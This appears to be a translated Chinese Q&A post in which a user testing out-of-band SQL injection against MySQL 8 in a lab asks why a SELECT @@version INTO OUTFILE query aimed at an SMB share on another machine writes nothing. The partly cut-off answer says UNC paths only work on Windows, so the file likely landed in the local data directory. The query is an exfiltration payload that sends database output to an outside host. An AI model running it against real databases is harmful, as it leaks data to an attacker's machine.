我正在使用 MySQL 8 并尝试带外 SQL 注入场景。我在另一个虚拟机上有一个 SMB 共享,假设安装到
192.168.1.2/share
目录。/tmp
此查询应该将文件 out.txt 写入运行 SMB 服务器的 VM 的 /tmp 目录中。
我写不出来。如果我尝试使用 smbclient 并连接 SMB 服务器,它工作正常。 可能是什么问题?我已阅读所有 MySQL 文档。
SELECT @@version INTO OUTFILE '\\\\192.168.1.2\\SHARE\\out.txt';
)是 Windows 功能。
这没有错误的原因是因为你的 mysql 数据目录中现在可能有一个具有该全名的文件。